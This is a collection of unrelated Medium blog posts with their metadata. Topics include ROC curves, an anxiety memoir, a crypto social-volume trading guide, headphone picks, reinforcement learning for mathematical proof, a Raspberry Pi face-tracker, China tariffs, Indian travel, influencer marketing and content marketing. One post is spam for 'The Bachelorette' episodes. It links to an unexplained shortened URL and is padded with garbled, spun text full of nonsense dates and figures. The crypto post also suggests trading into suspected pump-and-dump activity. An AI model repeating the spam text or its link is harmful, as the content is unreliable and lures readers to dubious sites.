value itself). Before I dive deeper into other the properties of ROC, I’d like to show a few special cases. More examples 1. Tied scores. Let’s change the previous example a little bit to get tied scores. In this group (score 70), we have three 0s and a single 1. The revision we have to make is to combine three ‘Right’s and one ‘Up’ into a single move. and the new ROC is So, if all the scores are tied, the ROC would be exactly the line x=y (AUC = 0.5). 2. Random guesses. When records are assigned with random order, the ROC curve would fluctuate about x=y, and the AUC is around 0.5. 3. Reversed scores. If we reverse the score order and the example in the very beginning, we’ll get a new ROC curve symmetric to the original one about the point (0.5, 0.5) [Not symmetric about the line x=y!]. The new AUC is one minus the original AUC. This why people say when we have a model with AUC <0.5, we can perform this score reversion trick to get a better model. Now let’s see what other info we can extract from the ROC curve. Properties The higher the secant line slope, the higher the tag ratio (number of 1s over total number of records in a group). In the example below, two score groups are selected, and the group with high scores do have a higher tag ratio and hence the higher secant line slope. 2. Concavity. Usually, the ROC curve for the results generated by good ML algorithms is concave downwards in the entire domain. But if unfortunately you have a curve which is concave upwards on a subinterval, you can reverse the scores in that specific interval to boost performance (and it is suggested that you also check the modeling data). 3. High score region / low score region. The green box below contains the info of the records with higher scores, and the orange box contains the info of the lower scores. In green region, we hope the secant line slope is larger; in the orange region, the smaller the slope the better. AUC is not the only way we measure ranking model performance. Sometimes we only focus on whether the model did a good job on the higher score region. Model with low AUC still has values. For example, the AUC for the ROC curve below is only ~0.64, but it has nice performance on high scored records. 4. Model Ensemble. When we have multiple models on the same dataset, and the shapes of the ROCs are different (some are good in high score regions, some are good in low score regions), we can often find values by combining the models (bagging or stacking).

https://towardsdatascience.com/an-interesting-and-intuitive-view-of-auc-5f6498d87328

['Shiu-Tang Li']

2019-05-20 07:28:41.493000+00:00

['Machine Learning', 'Data Science', 'Data Analysis', 'Data Visualization', 'Modeling']

Anxiety Is a Superpower

“What’d you learn at school today, Grace?” “I learned that the antibacterial soap we use doesn’t work anymore and we’re making superbugs that will kill us all.” This is a scene from the first season of Nurse Jackie illustrating the growing anxiety of Jackie’s 10-year-old daughter, Grace. Grace becomes fixated on the kind of “imminent doom” programming popular on cable channels and finds that she can’t look away from shows like Viral Armageddon and Could the Superflu Return? She begins having panic attacks at school and later, the school counselor tells her parents that he believes Grace has generalized anxiety disorder. I sympathize with that little girl, even though she’s fiction, because I was that little girl. And if my life were on DVD, like my copies of Nurse Jackie, it would be possible to cue up one of the early chapters in Season Two of my life, right around the time my Titanic Texas family tilted nose down toward disaster while the littlest of us scrambled to hold onto the railings. At 9 years old, I started taking half a 5 mg. Valium because I became convinced my heart would stop if I didn’t keep my hand over it. I ate in alphabetical order, touched the front door three times to make sure it was locked, and chanted John 3:16 like a magic spell whenever I had intrusive thoughts about my family being murdered. Move forward on this imaginary DVD to my 15th year for the season debut of yet another permutation of my anxiety. “Mrs. Skinner said that Jesus is going to come back in a thunderstorm,” I told my grandmother after Sunday School. “So every time there’s a thunderstorm we should be excited because it could be Jesus coming back.” Which is exactly how you create panic disorder in a teenager who’s been steeped in Southern Baptist End Times scenarios her whole life. And who lived smack in the middle of the Texas Panhandle’s “Tornado Alley,” guaranteeing at least a dozen operatic thunderstorms each spring. “Oh, it doesn’t say that anywhere in the Bible,” my Meemaw said, a dismissive wave of her hand finalizing her thoughts. “The Rapture will happen at any minute and you won’t have any warning at all. Don’t worry about storms.” Thunderstorms already made me uneasy and now the idea that they were possible harbingers of The Rapture rendered them terrifying. The very next storm caused me to cower in the covers, a pillow over my head, prayers streaming in a rush. My grandmother found me and gave me one of her muscle relaxants. But it didn’t work. I still felt like my heart would burst through my chest like the monster in Alien. Seeing this distress, my mother, taking up the special bottle from her purse, tapped out a yellow pill. What looked like an arrowhead was carved into its middle. A Valium. Swallowing it was like pulling a bowstring. And the Valium’s arrowhead shot into the middle of the alien clutching my throat, quieting it. Fast-forward to the school prom. “I’m nervous about going,” I confide to my grandmother. “Here,” she says, opening her personal medicine cabinet. She ceremoniously cranks the top of the child-proof cap off, delicately retrieving a pale blue pill. Through the machine-pressed V, I could see the lines on my palm. “It’s a ten, break it in half and you’ll have two doses, if you need them.” I was 17, a full set of braces freshly removed, a crinkly crown of permed hair weighing down my tiny self-image. My date: a pen pal from New York. I’d found his address in a Star Trek fan magazine. (No really). We’d never actually met until I picked him up at the airport earlier that day. Of course I needed both halves of that blue pill. Go forward a bit more to my wedding. The guy I’m about to marry is a mistake. I know it. My family knows it. Even the doctor I work for knows it. And somewhere down inside his hollow heart, my fiancé knows this is a mistake too. “You don’t have to do this if you don’t want to,” Meemaw says, zipping up the back of the wedding dress she spent three months making. “But all those people. I can’t do it. I have to do it,” I said, starting to feel the alien scratch the insides of my ribcage. “Do you want one?” she says. We both know what she’s talking about. Under my veil, I nod my head. My dad is loaded to the gunnels with whiskey, as was his Saturday night custom. He and I lean into each other so we can make it down the aisle without looking like two ships caught in a storm at sea. I count the steps under my breath to keep my focus: one, two, one, two… Click on the next chapter and you’ll see the montage of me clutching a paper bag over my mouth and nose to stop hyperventilating during various stressors over the next few years: the first Thanksgiving with my husband’s family, finding out I’m pregnant, deciding to divorce my husband and some other scenes that I can’t even really remember, but you get the idea. The montage will also show that I became a borderline recluse because of the fear of public panic attacks. The montage ends with me in an E.R. being hooked up to an EKG because I’m certain I’m having a heart attack. Fade out of montage into this bit of dialogue: “You have a fairly severe anxiety disorder.” Fade to black.

https://medium.com/swlh/anxiety-is-a-superpower-d2388d73b17a

['Shanna Peeples']

2019-10-23 21:14:35.815000+00:00

['Education', 'Anxiety', 'Leadership', 'Self-awareness', 'Mental Health']

How to Find Potentially Undervalued Coins with Solume.io

Whether you’re an adventurer looking to make a hit with a coin you are not familiar with, or a disciplined trader with a clear goal, here are a few steps on how to use Solume.io to identify potentially undervalued coins. We do not presume to argue that these steps by themselves form a sufficient basis to make trades, but rather they offer a supplementary routine to identify opportunities and to make better trade decisions. We recommend to start by sorting coins according to the rate of change in social volume over the last 24 hours. Unless you have specific coin in mind, you can focus on looking at coins that have significantly grown in social volume, but have also had a negative change of price in the last 24 hours. Another criteria is the actual social volume in the last 24 hours and market cap. The bigger the market and the community are(high social volume suggests activity of a large community), the bigger the change needs to be in order to indicate upcoming market change. After choosing two or three potential candidates, visit each of their coin-pages. In their coin-pages you can play with the zoom. Activating the price curve will help you get a view of the relationship between coin price and coin social volume. In the coin page below the chart are curated social media posts from Twitter and reddit. Since the list is composed of sources gathered from multiple filtered sources (and multiple sub-sources), a quick look on the list can indicate whether the rise in social volume expresses a positive or a negative sentiment [We’re working on adding the sentiment analysis feature, and it is coming soon 😁 ] The next step would be to check the authenticity of social volume. While we do filter spam, we still recommend sifting through collection of posts. Good indicators would be the measure of up-votes/likes and language diversity. Monotonous posts/tweets may indicate potential pump and dump activity. Another possible indication of market manipulation attempts comes in the form of social media channel diversity. The more widespread the social chatter over a certain coin of an ICO, the more chances that it’s genuine. It is worth considering the fact that even if you identify a pumping activity, it might be a good idea to get into position; however do bear in mind the risks involved and be sure to set your stop loss. Below are a few examples from our archive that show events where rising social curves preceded rising price curves. A 100% rise in Vertcoin’s social volume precedes a 13% in its BTC price A 50% rise in Litecoin’s social volume precedes a 5% rise in its USD price A 25% rise in Monero’s social volume precedes a 5% rise in its BTC price It’s important to clarify that the hints provided above are not a conclusive strategy. It’s a way to use solume.io and we think it can help our users gain more value and identify more opportunities. We would love to hear your feedback and ideas on how to use solume.io and make it better. You can reach us by mail, or tweet us @solumeIO Love you, Adam

https://medium.com/solume-io/how-to-find-potentially-undervalued-coins-with-solume-io-15cd1a6defd2

['Adam Shahaf']

2017-12-07 20:48:54.668000+00:00

['Crypto', 'Bitcoin', 'Social Media', 'Cryptocurrency', 'Strategy']

The best noise-canceling headphones that you can buy now to help you stay focused

Looking for new headphones to enhance your favorite songs? Then noise-canceling models make a great choice. ANC keeps background noise at a minimum so you can escape from conversations, loud traffic, and other environmental factors. In today’s blog, we’re sharing the top 10 noise-canceling headphones you can buy right now. The world can be full of noise that you want to drown out. You can’t control external sounds, but you can control what you hear with the best noise-canceling headphones. This category of headphones is great for allowing you to switch off coworkers’ conversations, traffic sounds, and more with the touch of a button. Related: The best music gadgets and accessories-a smart amp, a wearable music ring, and more Perhaps you want to hear and feel every lyric of a song or simply experience a noise-free environment while you focus on your work. Either way, noise-canceling headphones are here for that. We scoured the internet for the top choices right now. They not only provide you a virtually silent atmosphere but also allow you to let in some ambient sound with a tap whenever you wish. 1. Designed with augmented reality capability, the Bose Noise-Cancelling Headphones 700 let you experience audio in a new way. The Bose Noise-Cancelling Headphones 700 include 11 audio settings, ranging from full noise cancelation to full transparency. In one click, the headphones switch to Conversation Mode, which pauses your music and provides you with a momentary break from private listening. Additionally, with six microphones, you can answer calls clearly without any background noise causing distractions. Order these refurbished noise-canceling headphones from eBay for $279. 2. The V-MODA M-200 ANC provides 10 noise-canceling settings to suit your surroundings and needs for the audio you’re looking for. By cutting out any background noise, the V-MODA M-200 ANC allows you to listen to your music clearly and answer calls with clarity. Also, the EQ tool in the V-MODA app lets you create the perfect sound signature you want, while the ANC controls enable you to choose the active noise cancelation you need. Purchase yours from the official website for $499.99. 3. Experience hi-res audio performance with the Denon AH-GC25NC. They feature 3 noise cancelation modes. With three modes to choose from, the Denon AH-GC25NC are great to wear when you’re working and need concentration without any external noises. Moreover, these noise-canceling headphones deliver premium Hi-Res-certified sound for crisp highs and deep bass. Order yours from the Denon website for $149.99. 4. Effectively remove background noise with the Bang & Olufsen Beoplay HX. Their close-fitting design provides sound isolation. Keep your listening experiences to yourself with the Bang & Olufsen Beoplay HX. Ideal for when you’re working from home and don’t want to disturb others, they ensure the sound plays to your ears only. And, with four microphones, these noise-canceling headphones provide exceptional call clarity. Order yours from the official website for $499. 5. Put the outside world on mute with the Wyze Headphones. With 4 microphones, you can put outside noise on mute to concentrate. With four noise-canceling microphones, the Wyze Headphones turn outside noise to a whisper. Therefore, you can remain focused on the task at hand while the world passes you by. Best of all, the dedicated microphones isolate your voice, even when you’re in a room full of chattering. Purchase yours from the official Wyze website for $67.98. 6. Listen to music, watch videos distraction-free, or concentrate on work with the Denon AH-GC30. These noise-canceling headphones feature 3 audio modes for customization. For times when you can’t leave the environment you’re in but need some peace and quiet, the Denon AH-GC30 has you covered. These headphones act as a barrier against external sounds, so you can wear them on your commute, on a plane, or in a work setting where you’re ordinarily distracted. Get your noise-canceling headphones from Denon’s website for $399. 7. Focus on your favorite music or simply enjoy some relaxation time with the Montblanc MB 01. These headphones are cushioned. Wear the Montblanc MB 01 all day thanks to their padded earcups. These headphones come equipped with an easy-to-use ANC button, so you can eliminate background sound in an instant. Best of all, they boast 40-millimeter drivers for crisp highs and deep bass. Order yours for $595. 8. Enjoy captivating sound, even in loud environments, with the Sennheiser HD 450BT, which switch off external noise. With a closed-back design, the Sennheiser HD 450BT reduce background distractions, wherever you are. Better still, these cushioned headphones feature active noise cancelation technology to produce deep dynamic bass and superior sound every time. Purchase your headphones for a reduced price of $149.95. 9. The Jays q-Seven reduces ambient noise while achieving crystal-clear audio quality for better concentration in all environments. Want to escape from the outside world for a little while? The Jays q-Seven helps you do that by reducing external noises. As a result, you can focus primarily on your music. When you’re ready to face normality again, simply select the HearThrough mode to allow ambient sound to slide in. Order your ANC headphones for $149.99. 10. With the SHIVR Advanced Noise-Canceling Headphones, you can neutralize external sounds and experience high-fidelity audio. Experience your favorite music like never before with the SHIVR Advanced Noise-Canceling Headphones. They allow you to escape from a hectic environment or endure loud conversations. Additionally, you can wear them to answer important phone calls thanks to the CVC6.0 microphone that also filters out background noise. Treat yourself to these headphones from Amazon for $139.99. So which of the above noise-canceling headphones will you purchase? Share your thoughts, or additional recommendations, in the comments. Want more tech news, reviews, and guides from Gadget Flow? Follow us on Apple News, Google News, Feedly, and Flipboard. If you use Flipboard, you should definitely check out our Curated Stories. We publish three new stories every day, so make sure to follow us to stay updated! The Gadget Flow Daily Digest highlights and explores the latest in tech trends to keep you informed. Want it straight to your inbox? Subscribe ➜

https://medium.com/the-gadget-flow/the-best-noise-canceling-headphones-that-you-can-buy-now-to-help-you-stay-focused-35a9eff8a20b

['Gadget Flow']

2021-05-28 18:16:19.450000+00:00

['Tech', 'Music', 'Gadgets', 'Headphones', 'Audio']

Reinforcement learning and reasoning

Reinforcement learning has seen a lot of progress in recent years. From DeepMind success with teaching machines how to play Atari games, then AlphaGo beating world champions in Go to recent OpenAI’s progress on Dota 2, a multiplayer game where players divided into two teams compete with each other. The common thread is an artificial agent operating in a virtual world, where the prize is clear (e.g. win the game), but strategies to attain this prize are complex and evolving with responses of other players. On the other hand people are experimenting with AI agents operating in real-world. Each clip of Boston Dynamics gets a lot of press, showing robots performing amazing stunts, as you can see yourself here or here. OpenAI has a structured approach to teaching robots particular skills which demand dexterity, like manipulating objects in a hand. @OpenAI 1. Machine reasoning Natural question is what will be next in the development of AI and reinforcement learning in particular. Classical machine learning feeds on large datasets. With deep learning, smart architecture or both (cf. one-shot learning) you can sometimes reduce the amount and quality of data needed to make a machine learn a particular task, however the learning rate is still sub-optimal compared to humans. If one were to create an Artificial General Intelligence (AGI), a machine able to perform any task at least as well as an average human, then in particular one would need to overcome learning difficulties. Those difficulties arise in computing power, transfer learning and reinforcement learning. The reason why humans are able to learn on small datasets is two-fold: They are able to accumulate knowledge across various fields and observe similarities. They can reason upon given data, in particular if they know how to do A, and a task B is somewhat similar, they might be able to do the task B. The equivalent of the first point in AI is called transfer learning (or meta-learning), and currently is still largely underdeveloped. The same goes for reasoning with machine reasoning being in its infancy. Eventually all comes down to reasoning, with transfer learning being a relatively easier task — if you can reason, you can in particular classify and compare, and thus you are able to find similarities in tasks you want to approach, and then act upon it, by training for a new skill (of course, it’s much harder than that, but that’s another post). Machine reasoning is a true bottleneck in the current development of AI. We can’t even understand how context works — just talk with any bot to verify it yourself — not to mention any harder tasks. So far logical reasoning was outside of scope of machine learning. 2. Mathematics A perfect example of pure reasoning to test any machine reasoning capabilities is mathematics. Each proof of a theorem consists of many steps, logically building upon each other, often dependent on already proven facts. Mathematicians write their proofs in natural language, which is to some extent formal, but far from formalized (in the sense of formal languages). Validation of a proof is done by other mathematicians, fellow experts in a given field, after sending a paper to a scientific journal. This procedure has many drawbacks: not only it is slow, but it depends on other experts. Moreover proofs and arguments themselves have often many omissions, after all one doesn’t have to write down what’s widely accepted in a given community (branch of mathematics). Publishing incorrect proofs in prestigious journals is not unheard of. My road to artificial intelligence started by asking whether this procedure can be made more reliable and much faster, especially as my domain of research, Langlands program, was extremely complicated. The first natural thing that comes to mind is that you should made all those proofs formal. That was already an idea of Voevodsky couple of years ago, but more or better formalization is not an answer. Nobody is going to force mathematicians to write their proofs more formally (as it would destroy the whole pleasure of doing research and is widely considered a waste of time). Actually formalizing mathematics is a whole field of mathematics with its own dogma and problems. People rewrite a proof in one of formal languages (Coq, Mizar, Isabelle to name a few) and then can validate the proof automatically. However the labour needed to formalize a proof in one of those languages is huge — for example formal verification of Feit-Thompson theorem took 6 years of collaborative effort. This is what caused me to think that if we are to succeed at formalization and verification of mathematics (a baby step towards reasoning), we need to automate the whole process. I’ve written my ideas down as DeepAlgebra program and kept on looking for how to make it out, with no real success so far (I should explain it in another post). That was before I learned more about reinforcement learning. 3. Reinforcement learning and mathematics I started with reinforcement learning for a reason. I view mathematics as a game with a clear prize (proof of theorem) and a complex strategy (steps of the proof). The way mathematicians do mathematics is similar to how reinforcement learning works: they search for potential proofs, by going deeper and deeper into a tree of the game (all possible proofs), backtracking whenever their intuition (learned by arriving at a contradiction) is telling them to do so. They search for a right path, right strategy to arrive at the proof, by manipulating objects in the formulation of the theorem, introducing new entities, recalling already proven theorems and measuring their progress by evaluating how many more steps they would presumably need (i.e. how many lemmas/facts) to prove their theorem. Mathematicians generally have an intuition how far away they are from a solution. It comes once they worked on a problem for some time and explored a couple of paths. Intuition of mathematicians is similar to an intuition that Go players have. They too explore a tree of the game (in their heads playing moves ahead and thinking about what an opponent might respond and where it leads), they have an intuition about ‘shapes’ (formation of stones on a board) just as mathematicians have an intuition about mathematical entities they introduce. Their goal is to win the game but the game is too complex to determine it before-hand, thus they need to evaluate their position on a board with each move to see whether they are winning or losing, and how that should influence their moves. Go is complex because it allows for local vs global phenomena, you can be losing on one side of the board, but you still win overall. You have the same phenomena in mathematics: ‘local’ are lemmas and already proven theorems, ‘global’ is the theorem you want to prove right now. Strategies play a crucial part in both games as they allow you to have a general direction for approaching the game. Overall it seems like reinforcement learning methods similar to those used in AlphaGo can help in approaching mathematical proofs. It also seems as a natural next step for machine learning research in terms of difficulties arising. 4. Conclusion In order to develop AGI, or at least come closer to building real intelligence, we must teach machines how to reason. Mathematics is a perfect test ground for this task with huge online repositories of proofs and a formal way of reasoning. Moreover its similarities to playing a game, make it a good target for trying out reinforcement learning techniques. It’s the right time to start thinking on how to incorporate reasoning into machine learning. If it succeeds, we will see truly next level of AI revolution.

https://pchojecki.medium.com/reinforcement-learning-and-reasoning-1dad5e440690

['Przemek Chojecki']

2018-11-12 17:30:02.379000+00:00

['Deep Learning', 'Artificial Intelligence', 'Mathematics', 'Reasoning', 'Reinforcement Learning']

how to build a face-tracking with Raspberry and OpenCV

This is my very first project on Raspberry. My motivations come from the article of Leigh Johnson : It seems simple to start a project on Raspberry, so let’s start. My github repos for this project : https://github.com/nguyenrobot/palt-tilt-cam This project is realized in collaboration with Clément COSTE, one of my colleagues. Part 1 — Build List Raspberry Pi 4 Model B — 4GB Pan-Tilt HAT for Raspberry Pi Pi Camera v2 8MP Micro-SD Card Mini-HDMI Cable Cable for Raspberry Pi Camera — Dimension : 457mm x 16mm (18" x 0.6") USB-C Charger USB-C External battery (optional by strongly recommended) I spent roughly 100€ to get all necessary thing in France where we pay so much of TVA tax. The choice of Pan-Tilt HAT is quite important. Because you have to find a way to control your Pan-Tilt HAT. I use the Pan-Tilt HAT from Waveshare which I have to spend sometimes to understand how to manually control the servo-motor via HAT by keyboard. An external battery with USB-C output is highly useful for other projects on Raspberry in which your Raspberry must be mobile.

https://medium.com/@nguyenrobot/how-to-build-a-face-tracking-with-raspberry-and-opencv-d449cd1ac282

[]

2020-10-30 12:00:16.567000+00:00

['Face Tracking', 'Opencv', 'Raspberry Pi']

[Episode 13] The Bachelorette EP.13 (ENGSUB) “Full*Episode” On ABC’s

New Episode — The Bachelorette Season 16 Episode 13 (Full Episode) Top Show Official Partners ABC TV Shows & Movies Full Series Online NEW EPISODE PREPARED ►► https://tinyurl.com/yantgslp 🌀 All Episodes of “The Bachelorette” 016x013 : Week 13 Happy Watching 🌀 The Bachelorette The Bachelorette 16x13 The Bachelorette S16E13 The Bachelorette Cast The Bachelorette ABC The Bachelorette Season 16 The Bachelorette Episode 13 The Bachelorette Season 16 Episode 13 The Bachelorette Full Show The Bachelorette Full Streaming The Bachelorette Download HD The Bachelorette Online The Bachelorette Full Episode The Bachelorette Finale The Bachelorette All Subtitle The Bachelorette Season 16 Episode 13 Online 🦋 TELEVISION 🦋 (TV), in some cases abbreviated to tele or television, is a media transmission medium utilized for sending moving pictures in monochrome (high contrast), or in shading, and in a few measurements and sound. The term can allude to a TV, a TV program, or the vehicle of TV transmission. TV is a mass mode for promoting, amusement, news, and sports. TV opened up in unrefined exploratory structures in the last part of the 191s, however it would at present be quite a while before the new innovation would be promoted to customers. After World War II, an improved type of highly contrasting TV broadcasting got famous in the United Kingdom and United States, and TVs got ordinary in homes, organizations, and establishments. During the 1950s, TV was the essential mechanism for affecting public opinion.[1] during the 1915s, shading broadcasting was presented in the US and most other created nations. The accessibility of different sorts of documented stockpiling media, for example, Betamax and VHS tapes, high-limit hard plate drives, DVDs, streak drives, top quality Blu-beam Disks, and cloud advanced video recorders has empowered watchers to watch pre-recorded material, for example, motion pictures — at home individually plan. For some reasons, particularly the accommodation of distant recovery, the capacity of TV and video programming currently happens on the cloud, (for example, the video on request administration by Netflix). Toward the finish of the main decade of the 150s, advanced TV transmissions incredibly expanded in ubiquity. Another improvement was the move from standard-definition TV (SDTV) (531i, with 909093 intertwined lines of goal and 434545) to top quality TV (HDTV), which gives a goal that is generously higher. HDTV might be communicated in different arrangements: 3451513, 3451513 and 3334. Since 115, with the creation of brilliant TV, Internet TV has expanded the accessibility of TV projects and films by means of the Internet through real time video administrations, for example, Netflix, HBO Video, iPlayer and Hulu. In 113, 39% of the world’s family units possessed a TV set.[3] The substitution of early cumbersome, high-voltage cathode beam tube (CRT) screen shows with smaller, vitality effective, level board elective advancements, for example, LCDs (both fluorescent-illuminated and LED), OLED showcases, and plasma shows was an equipment transformation that started with PC screens in the last part of the 1990s. Most TV sets sold during the 150s were level board, primarily LEDs. Significant makers reported the stopping of CRT, DLP, plasma, and even fluorescent-illuminated LCDs by the mid-115s.[3][4] sooner rather than later, LEDs are required to be step by step supplanted by OLEDs.[5] Also, significant makers have declared that they will progressively create shrewd TVs during the 115s.[1][3][8] Smart TVs with incorporated Internet and Web 3.0 capacities turned into the prevailing type of TV by the late 115s.[9] TV signals were at first circulated distinctly as earthbound TV utilizing powerful radio-recurrence transmitters to communicate the sign to singular TV inputs. Then again TV signals are appropriated by coaxial link or optical fiber, satellite frameworks and, since the 150s by means of the Internet. Until the mid 150s, these were sent as simple signs, yet a progress to advanced TV is relied upon to be finished worldwide by the last part of the 115s. A standard TV is made out of numerous inner electronic circuits, including a tuner for getting and deciphering broadcast signals. A visual showcase gadget which does not have a tuner is accurately called a video screen as opposed to a TV. 🦋 OVERVIEW 🦋 A subgenre that joins the sentiment type with parody, zeroing in on at least two people since they find and endeavor to deal with their sentimental love, attractions to each other. The cliché plot line follows the “kid gets-young lady”, “kid loses-young lady”, “kid gets young lady back once more” grouping. Normally, there are multitudinous variations to this plot (and new curves, for example, switching the sex parts in the story), and far of the by and large happy parody lies in the social cooperations and sexual strain between your characters, who every now and again either won’t concede they are pulled in to each other or must deal with others’ interfering inside their issues. Regularly carefully thought as an artistic sort or structure, however utilized it is additionally found in the realistic and performing expressions. In parody, human or individual indecencies, indiscretions, misuses, or deficiencies are composed to rebuff by methods for scorn, disparagement, vaudeville, incongruity, or different strategies, preferably with the plan to impact an aftereffect of progress. Parody is by and large intended to be interesting, yet its motivation isn’t generally humor as an assault on something the essayist objects to, utilizing mind. A typical, nearly characterizing highlight of parody is its solid vein of incongruity or mockery, yet spoof, vaudeville, distortion, juxtaposition, correlation, similarity, and risqué statement all regularly show up in ironical discourse and composing. The key point, is that “in parody, incongruity is aggressor.” This “assailant incongruity” (or mockery) frequently claims to favor (or if nothing else acknowledge as common) the very things the humorist really wishes to assault. In the wake of calling Zed and his Blackblood confidants to spare The Bachelorette, Talon winds up sold out by her own sort and battles to accommodate her human companions and her Blackblood legacy. With the satanic Lu Qiri giving the muscle to uphold Zed’s ground breaking strategy, The Bachelorette’s human occupants are subjugated as excavators looking for a baffling substance to illuminate a dull conundrum. As Talon finds more about her lost family from Yavalla, she should sort out the certainties from the falsehoods, and explain the riddle of her legacy and an overlooked force, before the world becomes subjugated to another force that could devour each living being. Claw is the solitary overcomer of a race called Blackbloods. A long time after her whole town is annihilated by a pack of merciless hired soldiers, Talon goes to an untamed post on the edge of the enlightened world, as she tracks the huggers of her family. On her excursion to this station, Talon finds she has a strange heavenly force that she should figure out how to control so as to spare herself, and guard the world against an over the top strict tyrant.

https://medium.com/@6sai-44826/episode-13-the-bachelorette-ep-13-engsub-full-episode-on-abcs-5528acd17f90

[]

2020-12-21 03:42:09.367000+00:00

['TV Series', 'Startup', 'TV Shows', 'Reality']

List 4 Tariffs — China Trade. Jun 4, 2019 — — MakeMine Minute

Jun 4, 2019 — — MakeMine Minute | By Landon Hinote The List 4 tariffs are set to go into effect anytime after June 24. The punitive tariffs already placed on exported goods by the Trump administration has forced many companies, if they haven’t already done so, to look for new supply chains and factories outside of China. For products like apparel, there are many options for manufacturing outside of China. Companies can look to countries like Peru to avoid tariffs. Alternatively, moving manufacturing operations to Vietnam, where tariffs and labor costs are much lower than China, is also a viable supply chain strategy. With rising labor costs in China and new punitive tariffs placed by the Trump administration, Latin America, Southeast Asia, and Eastern Europe are also seeing increased demand for production as costs rise in China. Bottom Line | With the G-20 summit in Japan beginning June 28, President Trump will meet with President Xi. Even if a deal hasn’t been worked out by the 24th, there’s hope to reach an agreement during their meeting in Japan. The trade negotiations could escalate or improve at this time, but the next month should be turbulent either way. To mitigate risk, having a backup strategy is key to companies short and long term success. Related Minutes:

https://medium.com/@landon_14022/list-4-tariffs-china-trade-b0a823756ce7

['Landon Hinote']

2019-06-17 19:09:05.063000+00:00

['Trade', 'Development', 'Economic Theory', 'China', 'Southeast Asia']

Discover the hidden treasures of India

Tale of Chitrakote Falls in Chhattisgarh Rowing boating take you closer to Chitakote falls This was my second visit to the state of Chhattisgarh. Part of long project we were working on for the state government. I was to spearhead the project and in six months tell beautiful success stories of the work that the governement has done there. Commissioned project to tell 1000 stories in all formats. Being an explororer soul I was the happinest to take this upon myself, there was no though or worry about how can so many stories be churned out in so little time, that too from a state which is infamous for it’s red corridors (Naxal belt). But my job was to change that perception and show people that the state was on its recovery jounery and many developemental activities are being taken up by the then ruling BJP governemnt. This time I was accompanied by my favourite colleague Manoj, who happens to be a video journalist. And after a day in Raipur, we were to take off to Dantewada district by road. We started early morning, as travelling post sunset through the forest route was not a good idea. We were accompanied by two friendly governemnt consultants, who would help us with local connects and also help us get interviews with local beurocrats. We set off in an Innova, I had preconcieved notions about how this state would pan out, was open to exploring the state. Our first stop was Bastar, here we met a few local government volunteers, who would later help us with regional stories. One of the consultants, who was travelling with us kept reminding us that, we need to hurry up otherwise we will miss going to Chitrakote Falls. My mind was focussed on my work and I had seen many beautiful falls in South India and had no great expectations, so missing this would not mean a great lose. The driver was also a little cautious and informed us that Chitrakote is out of the way and that would delay our journey. But this gentleman was insistent that, if you are in Bastar you cannot miss Chitrakote. Oh man was he right or what. We finally reached Chitrakote at around 3.30pm. I could see no falls or hear any sound. We parked and I was dead tired by then. We had to walk about half a kilometer and then climb down a rocky hill to get to the elusive Chitrakote. I was tired and a bit hungry, we climbed down and there it was in all its glory, I could not belive my eyes, I was so grateful to our friend for getting us there. Chitrakote is one of India’s hidden tourism treasures. Located in Bastar district of Chhattisgarh, about 5.5 hour drive from the capital city Raipur. It is a natural waterfall on Indravati River. Chhaattisgharh has many such hidden treasures but this tops the list, I would recommend you plan well before heading there, as there are not many hotels or restaurants. For that matter anywhere in Chhattisgarh. Getting tips from locals or people who have travelled to teh state is advisable. This state is beautiful in everyway, travel there to know yourself. You can also write to me if you need any help or connections. I have travelled extensively for this project and would be happy to help.

https://medium.com/@dolasamanta/discover-the-hidden-treasures-of-india-690667080676

['Dola Samanta']

2020-10-09 03:21:13.932000+00:00

['Travel Writing', 'Travel', 'India', 'Travel Stories']

5 Influencer Myths Busted

Myth #1: Influencers can be your way to achieve scale for free The Truth: Influencers are subject to the same algorithms that brands are. In fact, many influencers are treated the same as a business, so they may be reaching the same percentage of their “follower audience” that you are as a brand. True, their follower count may be higher than your brand’s but that’s no guarantee for high reach. If you’re looking for broad reach but in the tone and editorial voice of the influencer, consider white listing the post (investing ad dollars in the influencer’s post vs. reposting on your own channel). Myth #2: Influencers don’t require the same rigor as briefing your agency The Truth: In some cases, influencers need more effort in briefing — unlike your agencies, they don’t work with your brand every day so don’t know all the considerations (legal, creative, etc.) that you do. This means detailed briefs for any guidelines are a must, but you should also be cautious because in most cases you are contracting them for their editorial voice, their creative eye, etc. You don’t want to go overboard with guidelines and restrictions, which is why it’s best to work collaboratively with your agency and have a kick off meeting with agency + influencer to discuss the vision for the project together. Myth #3: Only PR or media agencies can work with influencers The Truth: Depending on the output and cost of the influencers, even creative agencies can contract them. For instance, if the purpose of an individual is only to capture content for brand owned channels, the creative agency may brief them because creatives will be closer to the brand guidelines the content should adhere to. In the most ideal case, however, all agencies will work together to coordinate influencers for a particular project. Myth #4: Content partners (I.e. Vice and Refinery 29) aren’t the same as influencers The Truth: We work with publishing partners for many of the same reasons we work with influencers: they have clout and are culturally relevant and therefore have the ear and trust of a particular audience that we want to get in front of. So why wouldn’t they be the same? They need the same guidance as influencers and have the same editorial integrity that influencers posting on their channels will have. Myth #5: There’s only one way to use influencers The Truth: Influencers can be used to achieve scale, but can also be used to capture content solely for use on your channel. These two uses are not mutually exclusive — the same person can be contracted to capture 2 assets — one for their channel, more in their own editorial voice and one for your brand’s channel, more in line with your brand guidelines.

https://medium.com/comms-planning/5-influencer-myths-busted-85c32397b286

['Monisha Lewis']

2017-03-23 14:38:13.039000+00:00

['Agencylife', 'Communications Strategy', 'Advertising', 'Social Media', 'Influencer Marketing']

Importance of Content marketing which will help you in 2021

Importance of Content marketing Content marketing is important because it answers your audience’s questions. With content marketing, you can build trust with your audience, improve conversions, connect with your customers, and generate leads. Additionally, in today’s age, customers expect high-quality, consistent content from their favorite brands. Content does more than just filling up your web pages, it builds confidence amongst your current & your soon-to-be clients too. It helps you create great brand awareness and drives traffic to your website where your products or services are listed. The benefits of content marketing are not just limited to getting audiences and generating revenue but there are some other benefits too which cannot be measured in terms of monetary benefits. Content marketing’s growth has been explosive and is showing no signs of stopping. The most popular CMS, WordPress, saw more than 83 million posts a month on their own platform alone. To keep it brief “CONTENT IS KING”. Content marketing is an extremely common feature of many product or service marketing plans, because it is a subtler advertisement that is focused on a defined consumer population. If you consider an audience who looks forward to new content each week, whether it be through a blog, newsletter, a mail flyer, or an e-mail notification, you can build trust with them and become a source of information they rely on. Building trust is essential for any successful marketing campaign, and content marketing can help you earn that trust. Building a reputation is one of the best ways to grow your brand. When you have a strong reputation in the marketplace, it is easy to encourage your potential customers to put their trust in you and become loyal to you. This way you can also influence purchase decision of your potential customers. One way to establish an authority and reputation is by publishing high-quality content regularly on your site addressing the needs of your potential customers. This way you can show your customers that you’re a trusted authority in your industry, and they 